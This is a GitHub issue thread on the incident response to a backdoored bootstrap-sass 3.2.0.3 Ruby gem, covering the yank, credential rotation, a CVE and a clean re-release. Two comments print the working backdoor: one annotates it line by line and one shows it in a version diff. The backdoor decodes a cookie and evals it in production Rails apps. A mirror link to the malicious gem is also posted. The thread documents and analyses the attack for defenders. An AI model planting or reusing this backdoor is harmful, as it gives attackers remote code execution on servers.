-
-
Notifications
You must be signed in to change notification settings - Fork 3.5k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
3.2.0.3? #1195
Comments
Definitely a backdoor. Everything that's been updated in this account (recently) should be assumed backdoored until this is acknowledged and they follow proper methods on eradicating the culprit. https://www.incidentresponse.com/playbooks/ The |
The offending gem has been removed from rubygems.org. |
@evanphx Can we find out whose account it was pushed from? |
There is currently only 2 people who have push rights to this gem: @thomas-mcdonald and me. Still need to go through all my gems, unfortunately I maintain a lot of them, really hoping it wasn't my account. |
I've changed my password on rubygems.org and removed Thomas from owners for now as a precaution, @evanphx also got in touch with me via email. |
@glebm any (auth/access) tokens? May want to check email addresses in other accounts to ensure recovery methods weren't manipulated. Sorry you're having to go through this! Always a nightmare. |
@glebm We don't keep track of which account it came from, no. But since we invalidating api tokens and you have change passwords, you're safe. |
What's the recommended next steps for apps that were using 3.2.0.2 and can no longer build since that version was yanked. Should we be upgrading to 3.3.5.1? Will you restore a safe version of 3.2.0.2? Should we take any particular audit and mitigation steps ourselves? |
@evanphx can you check if the same IP maybe uploaded other gems around the time? |
Yes, but not for a few days (maybe longer) as I'm busy. Upgrading to v3.4.1 is recommended, and should be easy as there is very few backwards incompatibilities between 3.2 and 3.4 releases, and lots of bug fixes. |
@AndrewSwerlick actually we update to v3.4.1 and everything seem ok. i'll keep updated if i saw something. |
I see that Rubygems reports that 3.2.0.3 is listed as yanked from Rubygems, but I seem to be able to download it. What's strange is our CI originally alerted us about the CVE but if I set the version to |
Just to be clear, I don't think this is a local caching issue. I'm seeing 3.2.0.3 installed in the build log for a Heroku test app but if I try to install I also followed https://help.heroku.com/18PI5RSY/how-do-i-clear-the-build-cache and I am still able to get the malicious patch. |
Huh, it should not be possible to download yanked gems. |
@evanphx How is this possible? |
Ah, there is an answer in rubygems/rubygems.org#1941 |
Should a CVE be created for this then? It seems that yanking the gem was not enough. |
I think a CVE should be created even if the yanking did work! |
I'll release 3.2.0.4 (identical to 3.2.0.2) later today. |
This is a release of v3.2.0.2 that was yanked. v3.2.0.3 contains malware and has also been yanked. See #1195 for more information.
v3.2.0.4 released |
Liran from Snyk here. Happy to see that this got caught very quickly (great job @dgb!) and the maintainers responding promptly with with credentials resets and yanking out the package (well done!). If there's anything we can help at Snyk with the security research such as checking other potentially tampered versions or packages by the maintainers whose creds were linked and such let me know! P.S. We're looking at some repository details, and stats to get more insights into the impact of this and I'm also taking up notes for a summary of this to be published on our blog. |
@lirantal If you could file a CVE that'd be great! I have no experience with those. |
@glebm @thomas-mcdonald not to beat a dead horse, but did either of you determine which had their creds compromised, or collaborate on root cause? Is simply changing your creds and tokens sufficient, or should this be something to consider determining so that it doesn't happen again? Cheers. |
We couldn't find any evidence pointing towards either of our accounts. None of our other gems have been affected, and RubyGems doesn't have any sort of log to determine who pushed the gem. I did have a relatively weak password for RubyGems (I created my account there a long time ago, before any of the current password policies were in place). |
@glebm cool, looking into the CVE request. I'll keep you posted. |
@lirantal I've requested a CVE. Will keep you posted. |
great thanks @codytubbs! we've got the blog post up at https://snyk.io/blog/malicious-remote-code-execution-backdoor-discovered-in-the-popular-bootstrap-sass-ruby-gem/ and it's been added to Snyk's database too at https://snyk.io/vuln/SNYK-RUBY-BOOTSTRAPSASS-174093 |
It's a disguise. The exploit makes use of Web application firewalls could also be set to look for hostile connections making use of the three-underscore version, and block them. |
The MITRE CVE assignment team has issued CVE-2019-10842 |
I've added some detailed commentary after studying the code, as an exercise for myself to try and understand what is going on. It may help someone else. Detailed Comments on the Codebegin
require 'rack/sendfile'
if Rails.env.production? # Continue only if we're in the rails production environment:
Rack::Sendfile.tap do |r|
# We're using the tap method. the block parameter, r, will be the Rack::Sendfile class.
# So whenever you see r, just think we are working with the Rack::Sendfile class.
r.send :alias_method, :c, :call
# creates a method on Rack::Sendfile called `c` which reroutes to `call`.
## After the above you could now do:
# send_file = Rack::Sendfile.new
# send_file.c
## and the above would in turn call the ORIGINAL `call` method contained in the
## Rack::Sendfile class, and not the one that is being monkey patched below.
## `r.send` makes use of the `Object#send` method https://apidock.com/ruby/Object/send
## Another way of rewriting the above code would be:
## `Rack::Sendfile.alias_method(:c, :call)` which is equivalent to:
## `r.send :alias_method, :c, :call`
## The following bit of code below bit redefines the call(e) method which is in
## the SendFile class: https://github.com/rack/rack/blob/master/lib/rack/sendfile.rb
## again, `r.send(:define_method, :call) do |e|` is equivalent to saying:
## class Rack::Sendfile
## def call(e)
## # => Insert the malicious code below: begin....rescue...end
## end
## end
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
# Please edit this if you are more knowledgeable:
# gets the e['HTTP_COOKIE'] value out of there.
# then it scans/looks for this for this value: ___cfduid and extracts it with
# a regular expression.
# we then get the entire string out of those cookie(s) and convert it to a string
# then we unencode it and
# "eval" simply runs whatever code it's been given, AS A STRING!
# so that someone could simply construct a request with the malicious code,
# hidden in a cookie and can run it on your server.
# simplistically: I could send this: e("WIPE HARDRIVE")
# and it would run, provided the security levels in eval are passed.
eval(x) if x
rescue Exception
end
c(e)
# after we've done the dirty work, let's run the ORIGINAL `call` method, as
# defined in the Rack::Sendfile class. so no one would be none the wiser.
# in other words, we've created an aliased method `c`. Running `c`
# runs the ORIGINAL `call` method, and not the monkey patched one above.
# But if you run `call` instead of `c`, you will be actually running the tainted and
# monkey patched `call` method above, and not the original `call` method defined.
# in Rack::Sendfile. Like Kelley Wentworth says: "Sneaky, sneaky, sneaky!"
end
end
end
rescue Exception
nil
end |
Thanks @BKSpurgeon - useful when linking people to this. The "nice" characteristic of this exploit is that you can mass-target random IP or domains on the internet to issue a first cheap validation test (e.g. a first code could inject something that sets a given header for responses), then based on the responses, level up to manually curate the interest provided by the target. That, coupled with the popularity of the gem, makes it very usable. Many thanks @dgb for the report here. |
@codytubbs Given the lack of logging, my best guess is one of us got credential stuffed. With MFA enabled across UI + API and credentials/tokens rotated, in theory this closes that as a future vector. Given my lack of activity on this project, I'm also happy to revoke my write access to the gem. Many of the followups I can think of would be on the Rubygems side and would improve the state of security across the ecosystem - I'm happy to invest some engineering time in improving this: for root-causing incidents:
as a gem owner:
making security easier:
|
To add to the rubygems list:
|
Does anyone know where I can find a copy of the 3.2.0.3 package that was uploaded to rubygems repo? I would like to get a copy for research purposes. |
@derekeweeks Me too. If you get it .Please share with us |
Wow, it's not every day that you find yourself in the middle of a large-ish security issue. I've been moving and preparing for a trip, but I finally found the time to write up an account of what went on when I found the backdoor (since I know some people have been curious about it): http://dgb.github.io/2019/04/05/bootstrap-sass-backdoor.html I won't really be online for work purposes until mid-May, but I'll be watching this issue, and I'll try to respond to any direct questions/comments. |
The number of downloads is now displayed (rubygems/rubygems.org#1946) for yanked gems (it's 1,477 for the 3.2.0.3). Yanked gems are really deleted normally, and 3.2.0.3 also got really deleted. See rubygems/rubygems.org#1941 (comment) for details. |
Great update on the websiete, thanks @glebm! |
This is the entire diff between 3.2.0.4 (which is a reupload of 3.2.0.2) and 3.2.0.3. diff -Naur gems/bootstrap-sass-3.2.0.4/CHANGELOG.md gems/bootstrap-sass-3.2.0.3/CHANGELOG.md
--- gems/bootstrap-sass-3.2.0.4/CHANGELOG.md 2019-04-08 09:22:11.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/CHANGELOG.md 2019-04-02 11:32:27.000000000 -0400
@@ -1,5 +1,9 @@
# Changelog
+## 3.2.0.3
+
+* Recompile with libsass
+
## 3.2.0.2
Fixed a number of bugs. [Issues closed in v3.2.0.2](https://github.com/twbs/bootstrap-sass/issues?q=is%3Aissue+is%3Aclosed+milestone%3Av3.2.0.2).
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb
--- gems/bootstrap-sass-3.2.0.4/lib/active-controller/middleware.rb 1969-12-31 19:00:00.000000000 -0500
+++ gems/bootstrap-sass-3.2.0.3/lib/active-controller/middleware.rb 2019-04-02 11:32:27.000000000 -0400
@@ -0,0 +1,18 @@
+begin
+ require 'rack/sendfile'
+ if Rails.env.production?
+ Rack::Sendfile.tap do |r|
+ r.send :alias_method, :c, :call
+ r.send(:define_method, :call) do |e|
+ begin
+ x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
+ eval(x) if x
+ rescue Exception
+ end
+ c(e)
+ end
+ end
+ end
+rescue Exception
+ nil
+end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass/version.rb 2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass/version.rb 2019-04-02 11:32:27.000000000 -0400
@@ -1,4 +1,4 @@
module Bootstrap
- VERSION = '3.2.0.4'
+ VERSION = '3.2.0.3'
BOOTSTRAP_SHA = 'c068162161154a4b85110ea1e7dd3d7897ce2b72'
end
diff -Naur gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb
--- gems/bootstrap-sass-3.2.0.4/lib/bootstrap-sass.rb 2019-04-08 09:22:12.000000000 -0400
+++ gems/bootstrap-sass-3.2.0.3/lib/bootstrap-sass.rb 2019-04-02 11:32:27.000000000 -0400
@@ -67,6 +67,7 @@
def register_rails_engine
require 'bootstrap-sass/engine'
+ require 'active-controller/middleware'
end
end
end |
Hello, bootstrap-sass-3.2.0.2 had the files b3.js and core-b3.js but these do not exist in newer versions. Why were they removed/renamed? And how do we now fix applications that relied on them? |
Thanks so much |
@dgb @glebm @TheKingOfDuck one of my colleagues found a copy here: http://mirror.auckland.ac.nz/rubygems/gems/bootstrap-sass-3.2.0.3.gem |
@derekeweeks Get,Before u post it , I was trying to recode 3.2.0.4 to 3.2.0.3 by myself. (base on #1195~ thanks so much |
@glebm Hi, can you put 3.2.0.2 back? I understand that 3.2.0.3 had malicious code in it but why yank both versions? I have an app that depends on 3.2.0.2 so now my bundle install fails. |
You can use 3.2.0.4, which is identical to 3.2.0.2. We can't put 3.2.0.2 back because yanked gems cannot be un-yanked. |
@glebm thanks for the quick response! Maybe I'm misunderstanding something but I'm getting errors when I do assets:precompile. I'll have to investigate more |
The version referenced here was pulled from rubygems because it had a security backdoor. See twbs/bootstrap-sass#1195 for full details. This hack is a quick fix to make `bundle install` work again on a fresh install.
Hi there,
We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.
Looking further, there's some...interesting looking code in what i installed via
gem install bootstrap-sass -v 3.2.0.3
(in a file namedlib/active-controller/middleware.rb
):I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and
eval
-ing it, which seems suspect. Please advise.The text was updated successfully, but these errors were encountered: